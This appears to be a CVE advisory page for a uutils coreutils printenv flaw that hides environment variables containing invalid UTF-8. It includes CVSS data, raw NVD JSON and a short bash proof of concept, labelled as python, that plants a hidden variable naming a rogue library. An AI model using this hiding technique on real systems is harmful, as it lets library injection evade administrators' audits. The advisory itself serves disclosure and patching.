Security Vulnerability Report
中文
CVE-2026-35366 CVSS 4.4 MEDIUM

CVE-2026-35366

Published: 2026-04-22 17:16:40
Last Modified: 2026-05-04 18:52:42

Description

The printenv utility in uutils coreutils fails to display environment variables containing invalid UTF-8 byte sequences. While POSIX permits arbitrary bytes in environment strings, the uutils implementation silently skips these entries rather than printing the raw bytes. This vulnerability allows malicious environment variables (e.g., adversarial LD_PRELOAD values) to evade inspection by administrators or security auditing tools, potentially allowing library injection or other environment-based attacks to go undetected.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:* - VULNERABLE
uutils coreutils < 0.6.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-35366 # Demonstrates hiding env vars with invalid UTF-8 from uutils printenv # Set an environment variable containing an invalid UTF-8 byte sequence (0xFF) # This simulates a malicious payload like a path to a rogue library export $(printf "MALICIOUS_VAR=/tmp/evil_lib.so\xff") echo "[*] Checking with uutils printenv (Vulnerable):" # In the vulnerable version, this will not display MALICIOUS_VAR printenv | grep "MALICIOUS_VAR" || echo "Variable HIDDEN by uutils printenv!" echo "" echo "[*] Checking with standard tools (e.g., env or /usr/bin/printenv):" # Standard tools usually display the raw bytes or escape them env | grep "MALICIOUS_VAR" && echo "Variable VISIBLE to standard tools." echo "" echo "[*] Verification of existence:" # Verify the variable is actually set in the current shell if [ -n "$MALICIOUS_VAR" ]; then echo "Variable is ACTIVE in the environment." fi

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35366", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:40.167", "lastModified": "2026-05-04T18:52:42.390", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The printenv utility in uutils coreutils fails to display environment variables containing invalid UTF-8 byte sequences. While POSIX permits arbitrary bytes in environment strings, the uutils implementation silently skips these entries rather than printing the raw bytes. This vulnerability allows malicious environment variables (e.g., adversarial LD_PRELOAD values) to evade inspection by administrators or security auditing tools, potentially allowing library injection or other environment-based attacks to go undetected."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.6.0", "matchCriteriaId": "87C33018-2E08-45B0-B69C-7FC224F7F883"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/9701", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/uutils/coreutils/pull/9728", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/uutils/coreutils/issues/9701", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}